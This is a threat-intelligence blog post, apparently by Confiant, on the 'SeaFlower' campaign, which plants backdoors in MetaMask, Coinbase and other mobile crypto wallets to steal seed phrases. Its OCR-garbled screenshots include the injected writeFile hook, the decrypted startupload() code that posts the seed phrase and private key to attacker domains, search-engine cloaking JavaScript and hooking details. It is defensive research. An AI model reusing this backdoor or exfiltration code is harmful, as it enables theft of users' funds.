How SeaFlower 4% installs backdoors in iOS/Android
web3 wallets to steal your seed phrase

Confiant February 3, 2026

During the course of our work at Confiant, we see malicious activity on a daily basis. What matters
the most for us is the ability to:

e Protect our existing customers.
» Share unique threat intelligence.
o Keep finding unique vantage points for better detection.

At Confiant we monitor 2.5+ billion ads per day thanks to our 110+ integrations in the advertising
stack allowing us to protect 40K premium websites from bad ads.

That itself gives us great visibility on malicious activity infiltrating the ad stack and the broader
Internet, powered by our proprietary uncloaking technology. And that includes all the web3
malicious activity funneling thru it.
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The variety and the range of our detection enable us to detect unique malicious activity as soon as
it surfaces. SeaFlower is an example of this unique cluster of malicious activities targeting web3
wallet users that we will document in this blog post.

What is SeaFlower?

SeaFlower is a cluster of activity that we identified earlier this year in March 2022. We believe
SeaFlower is the most technically sophisticated threat targeting web3 users, right after the
infamous Lazarus Group.

The cluster of activity named “SeaFlower” was chosen for a reason. One of the injected .dylib files
in the original Mach-O of the metamask app, contained the full path to xcode derived data, that
leaked a macOS username: “Zhang Haike”:

Author username leak

Note: this same mistake was made on other libraries that helped leaking more macOS
usernames, and thus uncovering a set of personas related to SeaFlower

Naturally, Googling “Zhang Haike” was the next step, which gave many Chinese-speaking
references, including this one that | found amusing: it is the name of a character in a Chinese
novel called “Tibetan Sea Flower”.

The Chinese-speaking references conform to the context of this large campaign, and hint to a
strong relationship with a Chinese-speaking entity yet to be uncovered:

e Uncovered macOS usernames are Chinese names
e Source code comments in the backdoor code are written in Chinese.

» Modding/hooking Frameworks used are common in the Chinese-speaking modding
community, based on the fact that many tutorials and usages example of these Frameworks
are in Chinese and the authors of the tools are Chinese speaking.

» We uncovered Provisioning profiles, signing infrastructure, and app provisioning
infrastructure hosted in the Chinese IP address space and the Hong Kong IP address space
in addition to the domains registered with .cn TLD. Note: signing infrastructure and
provisioning infrastructure might or might not be directly related to SeaFlower as it could be
abused or just used as a service.

» We uncovered multiple cloned websites (mimicking official wallet websites) initially hosted in
Hong Kong IP address space
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o CDN abused is Alibaba
e Most of the search engines targeted are Chinese search engines.

As of today, the main current objective of SeaFlower is to modify web3 wallets with backdoor code
that ultimately exfiltrates the seed phrase.

The targeted web3 wallets are the following:

e Coinbase Wallet (iOS, Android)

o MetaMask wallet (i0OS, Android)
o TokenPocket (i0OS, Android)
o imToken (iOS, Android)

Note: The wallets above are 100% safe and you can use them safely. But like any other
good and very popular software, they are exposed to modding, reverse engineering, and
backdoors. SeaFlower distributes a backdoored version of these wallets by modifying the
original ones.

Any users lured into downloading SeaFlower backdoored wallets will ultimately lose their funds.
We provided SHA-256 of each analyzed backdoored wallet to help our community identify these
backdoored wallets and their multiple variants.

SeaFlower Modus operandi

Looking at the various attacks in this new cluster, they have something in common: SeaFlower
doesn't alter the original functionality of the wallet in any way but adds code to exfiltrate the
seed phrase, and does it using different techniques increasing in complexity, hopefully,
documented in this blog post.

The user experience, the Ul, and all the wallet functionality are unchanged, normal/advanced
users won'’t notice anything while using the app on their phones: it is the legitimate app from the
AppStore/Play Store with a sneaking backdoor in it.

But if one is actively monitoring network requests, one will find out that there’s a single network
request that is sent to weird-looking domains, for example, we have seen backdoored wallets
sending traffic to trx.Infura[.Jorg (mimicking infura.io) or metanask[.Jcc (mimicking metamask.io)
over HTTPS.

Setting up a MITM proxy we could decrypt the HTTPS traffic and find out that the seed phrase, the
wallet address, and the balance are sent out to the attacker:
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Intercepting HTTPS traffic of SeaFlower backdoor

But how this is possible? we will have to reverse engineer the apps to determine all the
techniques SeaFlower used to make these legitimate apps behave maliciously in the background.

SeaFlower drastically differs from the other web3 intrusion sets we track, with little to no overlap
from the Infrastructure in place, but also from the technical capability and coordination point of
view: Reverse engineering iOS and Android apps, modding them, provisioning, and automated
deployments.

SeaFlower also takes care of the app distribution phase by setting up fake cloned websites where
these backdoored wallets can be downloaded. The identified websites are perfect clones of
legitimate websites, offering download links:
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Note: Surprisingly we didn’t find a backdoored chrome extension delivered from these clone
websites, all the links point to the real chrome extension in the Chrome Webstore, so as of now,
fake chrome extension delivery isn’t part or wasn’t identified in the SeaFlower intrusion-set.
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For iOS, SeaFlower is using provisioning profiles. Once installed, the iOS apps are then
sideloaded to the victim’s phone and installed. Below are some of the steps we recorded of
typically what the victim will see when browsing one of the SeaFlower websites using an iPhone:
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iPhone with multiple installed backdoored wallets

Note: We reported at very early stage of this campaign all the Apple developer id’s linked to
these provisioning profiles to Apple and they revoked them. We are planning to continue
reporting this activity to Apple Threat intelligence teams on a regular basis.

The last question to be answered is how the users are targeted and redirected to these websites
offering backdoored wallets? short answer: Search Engines. Indeed, search engines are one of
the clear entry points for SeaFlower that we identified to this date, redirecting mobile users to
fake/cloned wallet download websites. In particular, Baidu search engine results are one of the
initial vectors for these attacks.

Baidu, Inc is a Chinese multinational Al technology company with a search engine. We were

interested to see if there’s any SEO or targeting to coinbase or metamask users in that search
engine.

We searched for “download metamask ios” and one of the baidu links on the first results page
redirected us to token18[.]Japp website, which was SeaFlower Drive-by download page, sweet!
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SeaFlower targeting via search engine results

While monitoring for results we started noticing that there was an intermediate website, that does
a fingerprinting before redirecting to the SeaFlower drive-by download pages. We extracted the
client-side fingerprinting from the HTML pages and we identified a code that checks if the referer
matches different search engines, in fact, multiple Chinese search engines :

var s=document.referrer

if(s.index0f ("baidu")>@ || s.index0f("sogou")>@ || s.index0f("s m')>@ || s.index0f("360")>8 || s.index0f("google")>8 ||
s.index0f("sos0")=8 || s.index0f("YisouSpider")=@ ||s.index0f cn')>@ )

Llocation.href="http

SeaFlower intermediate Fingerprinting

Most of the search engines mentioned are all Chinese search engines:
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We created a specific detection rule to hunt for any of the above js code, and we found another
piece of code that has bot/spider detections, by checking the userAgent strings, we can see again
references to Chinese search engines crawlers/spiders:
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function isSpider() {
var flag = false;
var spider = navigator.userAgent.toLowerCase();
var spiderSite = [’baiduspider’, ‘baidu.’, ‘360Spider’, ‘sogou.’, ‘so0so.’,
‘yisouspider’, ‘bingbot’, ‘bing.’, ‘google.’, ‘googlebot’];
for (let 1 = 0, len = spiderSite.length; i < len; i++) {
if (spider.indexOf(spiderSite[i]) > 0) {

flag = true;
break;
}
}
if (!flag) {
goOPAGE();
}

}

This particular campaign tells us more about the initial vector and the targeting that seems to be
search engine oriented, with the majority being Chinese search engines.

At this point, we defined some initial context and learned a bit more about who could be potentially
targeted by SeaFlower.

Next, is the backdoored wallets technical analysis part, we will shed some light on how SeaFlower
is backdooring the web3 wallets. For readability, we will document in this blogpost how iOS
MetaMask wallet and Android Coinbase wallet were backdoored in great detail. The other
flavors of these wallets (iOS, Android) and the other wallets (imToken, TokenPocket) are using
very similar backdoor code and won'’t be all covered in this blogpost but will be briefly documented
especially the most relevant parts.

MetaMask wallet

MetaMask iOS app

SHA-256 .IPA file analyzed:
9003d11f9ccfe17527ed6b35f5fe33d28e76d97e2906c2dbef11d368de2a75f8

MetaMask for mobile is a React native app, meaning it can run on both iOS and Android. The first
signs of backdoor code can be found at the main.jsbundle.

A conditional code block was added at the beginning of WriteFile() function. This code block is not
present in the official metamask wallet:
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Lc{"EINVAL' , new Ty ('Missing argument “path™ ")) l:inew Pr el function(f, c){u.writeStream{n,t,s, function{n,s,u}{if(s}{var p=new
¢ oodefault{u, t)1H 1},

5 fsfisF.em_]inL‘];
if (JS0M. sfrlngaf;{drsfaFl backgroundState.AccountTrackerController) != xladdress)

xladdre: N.stringify(dfsfaFl.backgroundState. AccountTrackerController);
startup
*
s
catch{E) {console. lag(E);

var o=arguments.length>25&void @!==arguments [2]?arguments [2]: 'utfB'; return’string ype! ct(c({'EINVAL",new Ty rar
issing argument “path"™ 'J}): ===p.tolocaleLowerCase() Array i rray{n,t,!1 o re1nct[rf EINW\L S NEW
or("data® must be an Arra) encodine ascii ;'string’ 1=typeof t7Pro eject(c(*EINVAL', new T \"data\" must
+typeof t+"\"

backdoorcodelmeaed|n&dernamjsbunme

writeFile: function (n, t) {
if (n.index0f("persist-root") != -1} E
try {
var dfsfaF = JSON.parse(t);
r dfsfaFl = 1SON.parse(dfsfaF.engine);
if
JSON.stringify(
dfsfaFl.backgroundState.AccountTrackerController
} != xladdress
)
xladdress = JSON.stringify(
dfsfaFl.backgroundState.AccountTrackerController
i
startupload();
}
catch (E) {
console. log(E);

gth = 2 &% void @ !== arguments[2]

zoomed in backdoor code injected inside main.jsbundle

This conditional backdoor code will execute anytime writeFile() is called on a file whose path
contains “persist-root”. If we look at where this file is located using a real iPhone, it is stored within
the MetaMask app container, it is a configuration file, containing the seed phrase encrypted
amongst other runtime configuration data. The file is specifically found at the following path:

/private/var/mobile/Containers/Data/Application/{CONTAINER
UID}/Documents/persistStore/persist-root
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This new information gives us a high-level understanding of when the backdoor code is called:
right after the MetaMask seed-phrase is generated and about to be stored encrypted in the
“persist-root” file. We confirmed this by installing MetaMask app on a real iOS device and indeed a
network request with the seed phrase is sent right after the user confirms the seed phrase during
the wallet’s first setup installation, which is pretty neat as a backdoor implementation, and
completely invisible during the usage.

The only issue here is that the startupload() function highlighted above in the backdoor code,
isn’t present in the main.jsbundle() and there are 0 references to this function in any javascript
file or any linked .dylib file exported symbols.

hunting for startupload()

This step required reverse engineering and digging into some Arm64 assembly and low-level code
as we will see. | will keep it brief to not confuse the readers, hopefully, it will make sense:

So | started looking at the MetaMask compiled Mach-O file, and noticed two injected .dylibs :

tesla:meta.app test$ otool -L MetaMask | grep (exec
@executable_path/Frameworks/libmetaDylib.dylib (compatibility version ©.8.8, current version 6.0.8)
@executable_path/mn.dylib (compatibility version 8.8.8, current version 8.8.@)

tesla:meta.app test$ l

injected .dylib’s into MetaMask wallet iOS app

libmetaDylib.dylib and mn.dylib seems to be good candidates as these are not supposed to be
injected in the original MetaMask iOS Mach-O binary.

TLDR; | am skipping the analysis of mn.dylib as this library is not relevant to the current
backdoor as we will see later, so | didn’t spend time analyzing it much.

libmetaDylib.dylib was signed with developer ID iPhone Distribution: pl li (259JS6979T) and
team-ID 259JS6979T

libmetaDylib.dylib contains references to 3 known modding/hooking frameworks: Cycript, Cydia
Susbtrate, and the Reveal Framework. This is already a red flag, meaning that something has
been done to alter the runtime behavior of the app:
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[tesla:Frameworks test$ otool -L libmetaDylib.dylib | grep exec
Pexecutable_path/Frameworks/libmetaDylib.dylib/libmetaDylib.dylib (compatibility wversion 1. current version 1.0.8)
Pexecutable_path/Frameworks/libsubstrate.dylib (compatibility versionm ©.8.8, current version ©.6.86, weak)
Pexecutable_path/Frameworks/libcycript.dylib (compatibility wversiom @.8.@, current version ©.8.8)

[tesla:Frameworks test$ otool -L libmetaDylib.dylib | grep rpath
@rpath/RSA.framework/RSA (compatibility version 1.9.@, current version 1.8.8)
@rpath/RevealServer.framework/RevealServer (compatibility wversion 2.8.8, current version 2.8.8)
tesla:Frameworks testd

Cycript, Susbtrate and Reveal linked/injected with libmetaDylib.lib

| confirmed Reveal server running in the app container by connecting to it using Reveal app
(newer versions of Reveal didn’t work, but got some luck with the version 14 10107, likely the
version used by SeaFlower) :
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b.a

come Back! Password Remembar .." r r:
"4

Welcome Back!

Posswaord

Remambaer me

Can't login? You can ERASE your
cutrent wallet and setup @ new one

put Vi

Reset Wallet

Reveal Framework installed on the backdoored metamask ios app

Full path to Xcode Derived data was left on the compiled .dylib leaking a macOS username

BxPER5SE7 Y Gx@BRECTTR

? BxPEBSRE0s @x@BOLCBERS
BxBeB5eE1E @x@BaEeB1A
BxBOBELE LY BxdBOEQBLA
BxBBBERES

BxBa85

s—normallar &S
BxBOB5ET
@xPOR5e?5T @x0BE ( 3 bimetaDylib.m
PxBO0ELTTE 31 32 () ascii HCo) ctor2d_blo
Px0BRELTPE @ [
AxA0R5eTCc3 Axpee _CHL
7 8x808509d1l @xpBe ii fopt/MonkeyDev/include/CoptainHook/CaptainHook.h

I've found multiple references to MonkeyDev Framework which is a hooking & modding utility
written by AloneMonkey. MonkeyDev has custom Xcode templates
https://github.com/AloneMonkey/MonkeyDev-Xcode-Templates which make it fully integrated to
Xcode during the development cycle of these backdoors!
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Choose a template for your new project:

Multiplatform  i05  macOS  watchOS  tvOS  Other |[-® Filter
Application
Yo |
L A
iMessage App
Framework & Library
/‘\\'H f“\\'\ a"f\‘x
() (&) Ly
S St S
Framework Static Library Metal Library
MonkeyDev
s i I | — ¢
o .
- = ﬂ e
MonkeyApp MonkeyPod CaptainHook Command-line Logos Tweak
Tweak Tool
Cancel Next

MonkeyDev xcode template

At this point, there are multiple tools for hooking or modding but still no sign of startupload() and

its implementation.

A Backdoor inside a Backdoor

After several checks identifying where a backdoor code could be injected | started looking at the
injected libraries, and ran the usual class-dump on the libmetaDylib.dylib revealed a weird class
name FKKKSDFDFFADS, highlighted below:
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@interface FKKKSDFDFFADS : NSObject
{
}

+ (id)ddsdf:(id)argl;

@end

@interface OCMethodTrace : NSObject

{
struct _opaque_pthread_mutex_t _blockMutex;
struct _opaque_pthread_mutex_t _deepMutex;
_Bool _disableTrace;
int _deep;
id <OCMethodTraceDelegate> _delegate;
unsigned long long _loglLevel;
NSArray *_defaultClassBlackList;
NSArray *_defaultMethodBlackList;
NSDictionary *_supportedTypeDict;
NSDictionary *_tracePositionDict;
NSMutableDictionary *_blockCache;

highlighted weird looking class name

OCMethodTrace is reference to the OCMethodTrace tool written by Michael Chen aka
omxcodec , enabling tracing of objective-C classes/methods. OCMethodTrace is also part of
MonkeyDev xcode templates: https://github.com/AloneMonkey/MonkeyDev-Xcode-
Templates/blob/master/MonkeyAppLibrary.xctemplate/Trace/OCMethodTrace.h

Cross-referencing the class name FKKKSDFDFFADS | got a solid hit on a Logos tweak installed
by the backdoor author, targeting the function dataWithContentsOfFile:options:error the tweek
was installed via MSHookMessageEXx()

36 | uVarl = _ stubs::i_objc_getClass("NSData");

37 uVarl = __stubs::_object_getClass(uVarl);

38 __stubs::_MSHookMessageEx

39 (uvarl,“datawithCpntentsOfFile:options:error:",

40 _logos_meta_method$_ungrouped$NSDatasdataWithContentsOfFile$optionsserrors,
41 &_logos_meta_orig$_ungrouped$NSDatasdataWithContentsOfFile$options$errors);
42 if (x(long %)__got::__ stack_chk_guard == local_28) {

43 return;

44| 3}

tweek aéfined in _Irl)gosLo'caIIn'it() function
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Logos is a Perl regex-based preprocessor that simplifies the boilerplate code needed to
create hooks for Objective-C methods and C functions with an elegant Objective-C-like
syntax. It's most commonly used along with the Theos build system, which was originally
developed to create jailbreak tweaks

At this point a malicious dataWithContentsOfFile:options:error implemented by the author will
get called right before the original one. The malicious dataWithContentsOfFile:options:error
contains the following code:

5 |void _logos_meta_method$_ungrouped$NSDatasdataWithContentsOfFile$options$errors

6 {objc_class *param_1,objc_selector #param_2,NSString sparam_3,ulong param_ 4,
7 NSError sekparam_5)
8
9

1@ undefined8 uvVarl;

11 undefined8 uVar2;

12 undefined8 local 68 [3]:
13 undefined8 local_50;

14 char %local 48;

15 NSError #klocal_48;

16 ulong local_38;

17 undefined8 local_39;

18 | objc_selector *local_28;
19 objc_class *xlocal_20;
20 undefined8 local_18;

21

22 local 38 = 6;

23 local_28 = param_2;

24 local_20 = param_1;

25| __stubs::_objc_storeStrong(&local_36,param_3);

26 local_48 = "range0fString:";

27 local_40 = param_5;

28 local_38 = param_4;

29 local_5@ = __stubs::_objc_msgSend(local_30," range0fString:",&cf_/meta.app/main.jsbundle);
30 if (local_48 == (char *)0x8) {

31 uvarl = (*_logos_meta_orig$_ungroupedsiSDatasdataWithContentsOfFile$optionsserrors)
32 {local_28,local_28,1local_30,local_38, local_40);

33 local_18 = _ stubs::i_objc_retainAutoreleasedReturnValue(uvarl);

34| }

35| else {

36 uvarl = (*_logos_meta_orig$_ungrouped$NSDatasdataWithContentsOfFile$options$errors)
37 (local_20,local_28,local_30,local_38, local_40);

38 local_68[@8] = _ stubs::_objc_retainAutoreleasedReturnValue(uvarl);

39 uvarl = _ stubs:i_objc_msgSend{&objc:iclass_t:: FKKKSDFDFFADS, "ddsdf:", local_68[0]);
49 uvar2 = _ stubs:;i_objc_retainAutoreleasedReturnvalue(uvarl);

41 uVarl = local_o68[e@]:

42 local_68[8] = uVar2;

43 _ stubs::_objc_release({uvarl);

44 local_18 = _ stubs::_objc_retain(local_68[@]1);

45 __stubs::_objc_storeStrong(local_68,8);

46 }

backdoor code called
at line 39 there’s a clear call to our weird class FKKKSDFDFFADS :)

at line 29 there’s also a test checking a variable path against the string
Imeta.app/main.jsbundie.
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It seems this function dataWithContentsOfFile:options:error is expecting a .jsbundle file to read
from and return its content, but let’s take a step back and figure out why the author hooked the call
of dataWithContentsOfFile:options:error it must be for a specific reason.

Going back to the initial Mach-O MetaMask there’s a reference to
dataWithContentsOfFile:options:error at the function 0x1001339cc:

void FUN_1081339cc(long param_1)

2

3

4 1{

5 undefined8 uVarl;

6 undefined8 uvarz;

7 undefined8 uVar3;

8 undefined8 uvar4;

9 long 1Var5;

1@ undefined8 local 38;

11

12 | __stubs::_objec_msgSend(k(undefined8 %) (param_1 + 8x20),"path");

13| uvarl = _ stubs::_objc_retainAutoreleasedReturnValue();

14 local_38 = @;

15| __stubs::_objc_msgSend

16 {& OBJC_CLASS_%_NSData,"dataWithContentsOfFile:options:error:",uVarl,1,&local_38);
17 | uVar2 = _ stubs::_objc_retainAutoreleasedReturnValue();

18 uVar3 = __stubs::_objc_retain(local_38);

19| _ stubs::_objc_release(uvarl);

20 uVard = %{undefined8 =) (param_1 + 0x20);

21 War5 = %(long *){param_1 + 0x28);

22 uvarl = __stubs::_objc_msgSend{uvarz,"length");
23 uVarl = FUN_100133008(uVvar4d,uVar2,uvarl);

24 (#k(code k) {1Vars + 0x1@))(War5,uVar3,uvarl);

25| _ stubs::_objc_release(uVarl);
26 | __stubs::_objc_release{uvar2};
27 __stubs::_objc_release(uvar3};
28 return;

29 [}

30

there’s a function at 0x1001339cc calling dataWithContentsOfFile:options:error

This function is called by RCTJavascriptLoader::loadBundleAtURL

/# Function Stack Size: 0x28 bytes =/

void RCTJavaScriptloader::loadBundleAtURL:onProgress:onComplete:
(ID param_1,SEL param_2,ID param_3,ID param_4,undefined4 param_5,ID param_6,
undefined4 param_7)

00 =1 O LN o L

{

At this point, we can conclude that the author is trying to inject a backdoor in the form of a React
Native Bundle and have it loaded by RCTJavascriptLoader used by the RCTBridge to load
javascript.
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Every react native app starts with the creation of an RCTBridge instance. In this, react native
loads the javascript, either from the local packager or a pre-built bundle, and executes this inside
JavascriptCore.

We are left with one last exercise to confirm all this and call it a wrap by analyzing the weird class
FKKKSDFDFFADS.

Below is the decompilation of the method FKKKSDFDFFADS::ddsdf:

0 00 = o LA b

1@

12
13
14
15
16
17
18
19
28
21
22
23
24
25
26
27

{

28
29

30
31
32
33
34
35
36
37
38
39

41
42
43
44
45
46

ID FKKKSDFDFFADS::ddsdf:(ID param_1,5EL param_2,ID param_3)

undefined8 uVarl;
undefinedd uVar2;

ID IVar3;

undefineds8 local 4@:
undefined8 local 38;
undefinedd local_EGﬂ
undefineds8 local 28;
SEL local_20;

ID local_18;

local_28 = @;

local_28 = param_2;

local_18 = param_1;

__stubs::_objc_storeStrong{&local 28,param_3);

uVarl = __stubs::_objc_alloc({&_0BIC_CLASS_s_NSMutableData);

local_3@ = __stubs::_objc_msqSend{uvarl,"init");

uVarl = _ stubs::_objc_alloc(&_OBIC_CLASS_$_SCRSACryptor);

local_38 = _ stubs::_objc_msgSend
{uvarl,"initWithPrivateKey:publicKey:",
&

cf_MIIEogIBAAKCAQEAW1S6IagOwWwW VKX XpRESIDWYNIHUVGN/Pyn]jABWHq L pjeCDsGdthjCdy

&

r
cf_MIIBI;jANBgkqghkiGO9wBBAQEFAAOCAQBAMIIBCgKCAQEAWLSEIag0WWVEN XpRESSDWYNIHUvg
N/PynjABWHql1pjeCDsGdthjC4yHbIRD+/xLsKPFOZshbS5F+4b/wRorBel r8o9rwyGmiguT30b2s
who5054Lafl0epAbatsfVipls5zudKLTIveF4d+TBESUUXccDOK@gIGLsWt6IaHZNY4 /KSy29nB
uTksvgyUp@4g0bP+GeXTEctHa9lUsX3b@etN rWwDmcI/ fLX3 f2uGrw24B8vzBEek FEBUWETY3cq9
Kj @ou+BR5xbtNE9p++Ugcm+weNB3PKS2hdNHj VLP2BEXIB+MSdohbfRm+j aekpxwgQFheVXyCII
®vq7cOETXWaWdwIDAQAB

|H

_ stubs:i_objc_msgSend{local_38,"decryptString:" ,&cfstringStruct_00830bbo) ;

local_40 = _ stubs::_objc_retainAutoreleasedReturnValue();

uVarl = local_38;

__stubs::_objc_msgSend{local_4@,"datalUsingEncoding:",4);

uVar2 = __stubs::_objc_retainAutoreleasedReturnValue();

__stubs:ii_objc_msgSend{uVarl,"appendData:");

_ stubs::i_objc_release{uvar?);

__stubs::_objc_msgSend{local_38,"appendData:", local_28);

uVarl = _ stubs::_objc_retain(local_38);

__stubs::_objc_storeStrong(&local_4a,8);

_ stubs::_objc_storeStrong(&local_38,0);

__stubs:i_objc_storeStrong(&local_30,08);

__stubs::_objc_storeStrong(&local_28,08);

IVar3 = _ stubs::_objc_autoreleaseReturnvalue{uVarl);

return IVar3;

decompilation of FKKKSDFDFFADS::ddsdf
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Interesting :) | can see base64 blob of typical RSA pivate key/ public keys What this function does
is RSA decrypting an RSA encrypted blob encoded in b64. The author linked the library with
antoher library called SCRSACryptor and found reference to it in github here:
https://github.com/xialun/RSAClass

so | just created a project in xcode, extracted the b64 encrypted blob and the RSA keys, linked it
to this library, and wrote the following code snippet to decrypt the blob:

SCRSACryptor *test = [[SCRSACryptor alloc] initWithPrivateKey:priv_key
publicKey:pub_key]l;
NSString #recoveredText = [test decryptString:encrypted_text];

NSLog(@"decoded to %@", recoveredText);

¥

return 8;

created an iOS project and ran it :

@ @ @ iPod touch - 7th on —10516.5
{at =]

tor stest = [[SCREACryptor alloc] initWithPrivateRey:priv_key

np:enerypted_textl;
Hoealth Wallat

Sollings

Lin 1

2022-04—11 15:10:51, 360584+0400 ScaFlowerDecode[50395:2132038] Hello, fl
World!
2022-06=-11 15:10:51.465550+0408 SeaFlomerDecode[66395:2132038] decoded to l

function startupload()
1{
if(xlenmonici="" && xImmmonicl=null && xladdressi=snull)

var demoString = xlmnmenic+"p"+xladdress+"@"+x1Privateley;

fdsafasdf({"https: /S trx.Infura
-org/opifmetonask/ics (GDERPXI1EXOWFUAGIRIHIFOVROSDOVDILIZL
VELLYOXZECZS1FDCLERNSPX KD INIENCPY 7 HIRKRYHOIENCRTDO IHVZRPKH
G4CCAUIDVIIIUTEAIWUTHYSBRELPIAGKTE" , demoString);

fdsafasdf({"https://metanaskan
.comfapifmetamask/ios/cB72abbsbocd BAF232F FEFO23848Fhen"
(domeString);

Torgat Qutput & (&)

decrypted SeaFlower backdoor

we finally got the missing startupload() function :) below is the code of this function:
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Above is the source code startupload() function, all what it does is sending a POST request to the
trx.Infura.org domain with the seed phrase information that is stored in the variable ximnmonic.

starting from line 59, we can see code starting with a __BUNDLE_START_TIME___ confirming
that we are dealing with typical React Native Bundle. The code is basically related to the runtime
loading of this bundle and to resolving module dependencies, etc:

Anatomy of a JS bundle

s,
global.__d = function(factory, id) {

module 1 modules[id] = {
factory,

loaded: false,

module: {exports: {}},

module n };

b

startup code

taken from: Rafael de Oleza—Building_JavaScript bundles for React Native

xImnmonic stores the seed phrase passed to the function _initFromMnemonic we can find it in
the main.jsbundle:

vel{this.wallets.map{function(t){return rid[6]).normalize(t.getAddress().toStringl hex'))}})3}, {key:"_initf

emonicToSeedit);
is.hdWallet=r(d [7]).h LhdWallet. derivel ukh (r{d[8])}; . s=o}, 1871, [21,18, 16, 14, 15, 1872
% ]

alid mne alid mne netion win,t,o)l{for{;n.

mnmonic storing the seed phrase

Validating the backdoor code execution at runtime:

As with any backdoor code found, it is important to validate it at runtime. | installed the
backdoored metamask app on a real iOS device, ran debugserver on iOS and waited with LLDB
on my laptop to break right after the app is launched. | set a conditional breakpoint to break into
anything “logos” :

break set -r “logos” -s libmetaDylib.dylib

then got a first hit at _logosLocallnit():
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[(11db) ¢
Process 6424 resuming
7 locations added to breakpoint 1
Process 6424 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason =
frame #@: 0x000000010096bTe8 libmetaDylib.dylib® logosLocalInlt()

libmetaDylib.dylib’_logoslLocallnit:

-> @x10096hfe8 <+@>: stp x28, x27, [sp, #-@x2@]!
@x1@@96bfec <+4>: stp x29, x3e, [sp, #@xie]
Ax10096bTf@ <+8>: add x29, sp, #0x18
Ox1e@96bff4 <+12>: sub sp, sp, #@xcboe

Target ©: (MetaMask) stopped.

debuging the backdoor code

After that | stopped at the function | am interested in
_logos_meta_method$_ungrouped$NSData$dataWithContentsOfFile$options$error$ (the
one added by the backdoor author using MSHookMessageEx())

4486 resuming

thread #1, gueue = e.main-thr ; stop reason =

frame #@: ibmetaDylib.dylib®_logos_meta_methodS ungrnuprdSHSDattidataHlthCantFnt'0fF11F°ﬂpt1onssPrraniohJc classk,

libmetaDylib.dylib”_logos_meta_method$_ungrouped$NSData$datawWithContentsOfFile$options$errors:
B8x183930628 <+8>: sub sp, sp; #Bxb@
Bx183930624 <#4>:  stp %29, %38, [sp, #Bxag]
Bx1839385628 <+ add %29, sp, #Bxad
Bx18393862¢c <+12>: mov x8, %1
Target @: (MeraMask) stopped.

From there all | have to do is to find where the obj_msgSend() that will call the weird class name
FKKKSDFDFFADS::ddsdf, and the backdoor code is finally about to be executed via
obj_msgSend ()as we can see in the screenshot below:

5 6424 resuming
frocess 6424 stopped
thread #4, gqueue = oot.default-gos', stop reason =
frame #8: Px@BBRAEA1E 678 libmetaDylib.dylib®_logos_meta mnthnd? _ungroupediNSData$dataWithContentsOfFilefoptions$errord
288
ibmetaDylib.dylib”_logos_meta_method$ ungroupediNSDataSdataWithContentsOfFileSoptions$errors:
exleasscefa <+208>: bl Bx1ee97bes8 + symbol stub for: objc_msgSend
Bx1e8FacoTs <+212>: mov x2, x8
Ox1B0FECHTE <+216>: str %2, [sp, #08x18]
0x18096ctTc <+220=: ldr %8, [sp, #60x18]
arget 8: (MetaMask) stopped.
11db) reg read $argl
0 = @x00000001889389bT8 (void *)@x@00880010098%bde: FKKKSDFDFFADS
11db) reg read Sarg2
x1 = 9xB00080010098848e “ddsdf:"

and that’s a wrap we confirmed statically, and dynamically the backdoor code and its execution.

Other variants of the MetaMask iOS app backdoor:

by analyzing multiple backdoored iOS MetaMask wallets | found other variants of the backdoor
code, with this one having source code comments in Chinese:

Note: this same backdoor React Native Bundle variant was re-used on the imToken Wallet
iOS app as well.
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Coinbase Wallet iOS app

SHA-256 of the .IPA analyzed:

2334e9fc13b6fe12a6dd92f8bd65467cf700f43fdb713a209a74174fdaabd2e?2

A single injected dylib libWalletDylib.dylib was used, below output of otool -L:

@executable_path/Frameworks/libwWalletDylib.dylib (compatibility version 0.0.0, current
version 0.0.0)

This .dylib is signed with Developper ID certificate : iPhone Distribution: Universitas
Muhammadiyah Malang (9MJG6A8RD7) and Team-ID 9MJG6A8RD7

Dumping the strings, we found the same author macOS username “lanyu”, as in the metamask
Wallet iOS app, confirming we are dealing with the same author, and also confirmed the usage of
the same Monkeydev xcode templates:

(tesla:Wallet.app test$ rabin2 —zzz Frameworks/libWalletDylib.dylib | grep "/Users/lanyu/Desktop"

2582
2578
2585
2644
2804
2814
2873
2928

BxBBA5aeB3 OxBBA53eB3
Bx88085b941 @x0805b941
8x808085bach @x0885bach
8x08085clcé @x0805clcé
BxB@p5d87 T exbaR5da7 T
BxB@p5dal3e 2xPaB5da3e
8x8ee5e3a @x0005e3a0
Bx@085f203 exeae5f283

tesla:Wallet.app tests []

53
T4
46
52
55
68
52
52

58
75
51
57

9]
8]
()
9]

e ()

5 ()
9]
8]

utf8 fUsers/lanyu/Desktop/app?] & /Wallet/WalletDylib/Config/

ascii /Users/lanyu/Desktop/app\\346%\211\\223\\345\\214\\205/Wallet/WalletDylib/Trace/

utf8 /Users/lanyu/Desktop/appi] & /Wallet/WalletDylib/

utf8 fUsers/lanyu/Desktop/app3] & /Wallet/WalletDylib/Trace/

utf8 /Users/lanyu/Desktop/appi] B /Wallet/WalletDylib/fishhook/

utf8 /Users/lanyu/Desktop/appi] & /Wallet/WalletDylib/AntiAntiDebug/
utf8 /Users/lanyu/Desktop/app#T & /Wallet,/WalletDylib/Logos/

utf8 /Users/lanyu/Desktop/appiT & /Wallet/WalletDylib/Tools/

/Users/lanyu

The backdoor code wasn't really hidden like in the MetaMask wallet iOS app, as we could see
more methods implemented directly in the injected .dylib:
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@interface FZZSD : NSObject

{
NSMutableArray *_ DSFSFAS;
NSMutableDictionary *_DSFSFAS2;
NSString * DSFSFAS1;
NSThread *_sdff;

b

+ (id)shareManager;

- (void).cxx_destruct;

@property(retain, nonatomic) NSThread xsdff; // @synthesize sdff=_sdff;

@property(retain) NSString *DSFSFAS1; // @synthesize DSFSFAS1=_DSFSFAS1;

@property(retain, nonatomic) NSMutableDictionary *DSFSFAS2; // @synthesize DSFSFAS2=_DSFSFAS2;
Cproperty(retain, nonatomic) NSMutableArray #DSFSFAS; // @synthesize DSFSFAS=_DSFSFAS;

(void)SAFD: (id)argl;
(void)dfcxsdfsdf: (id)argl d:{id)arg2;
(id)c: (id)argl;

(id)dddd: (id)axrgl;
(void)asdfsfs;
(void)gwereqwrqgw: (id)argl;
(id)fasfdsaf2;
(id)fasfdsafi;
(id)fasfdsaf;
(void)dfsafdsaf;
(void)test;
(id)readMobileProvisionl;
(id)readMobileProvision;
(id)readMobileProvision3;
(id)bundleSeedID1;
(id)bundleSeedID;

backdoor code can be seen via class-dump of

Logos was also used with multiple MSHookMessageEx() hooks at multiple ViewControllers of the
app, calling back specific backdoor code methods each time:
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__stubs:

uvarl =
__stubs

uVarl =
__stubs

uvarl =

__ stubs:

uvarl =

